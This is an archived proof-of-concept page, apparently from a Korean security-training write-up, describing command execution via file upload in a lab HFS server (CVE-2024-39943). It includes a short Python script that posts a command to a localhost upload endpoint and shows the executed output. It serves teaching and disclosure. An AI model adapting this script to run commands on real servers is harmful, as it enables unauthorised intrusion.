目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-39943 PoC — rejetto HFS 安全漏洞

来源
关联漏洞
标题: rejetto HFS 安全漏洞 (CVE-2024-39943)
Description:rejetto HFS是意大利Massimo Melina个人开发者的一款基于Web的文件服务器。 rejetto HFS 0.52.10之前版本存在安全漏洞,该漏洞源于允许经过身份验证的远程用户执行操作系统命令。
介绍

# Node.js HFS 명령어 실행 취약점 (CVE-2024-39943)

>화이트햇 스쿨 3기 – 노정민 ([@JenmrR](https://github.com/JenmrR))

---

## 요약

Node.js 기반 HFS 서버 환경에서, 업로드된 파일의 내용을 `child_process.execSync()`로 실행하는 취약점이 존재한다.  
공격자는 파일 업로드 기능을 통해 OS 명령어를 직접 실행할 수 있으며, 서버 내부 명령어 결과를 확인하거나 시스템을 제어할 수 있다.  
이는 CVE-2024-39943에 해당하는 취약점으로, 명령어 주입(Remote Code Execution)과 동일한 수준의 위협을 발생시킨다.

---

## 환경 구성 및 실행

1. Docker 환경을 통해 서버 실행
2. 서버는 `/upload` 경로로 파일 업로드를 수신하며, 업로드된 파일 내용을 그대로 명령어로 실행
3. 공격자는 업로드를 통해 RCE 가능

### 실행 흐름

```bash
$ sudo docker-compose up --build -d
```

```bash
$ python3 poc.py
```

### poc.py

```python
import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
```

---

## 결과

**PoC 실행 후 서버 응답:**

```
Executed:
Hello_From_Hacked_Server
```
  
![poc-result](./images/poc-output.png)

---

## 정리

- 본 취약점은 외부 입력을 OS 명령어로 실행할 경우 발생하는 전형적인 RCE(Remote Command Execution) 취약점이다.
- 업로드된 파일 내용을 직접 `execSync()`로 실행하는 방식은 심각한 보안 위험을 유발한다.
- 사용자 입력은 항상 검증해야 하며, 서버 내에서 직접 실행하지 않아야 한다.

---
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →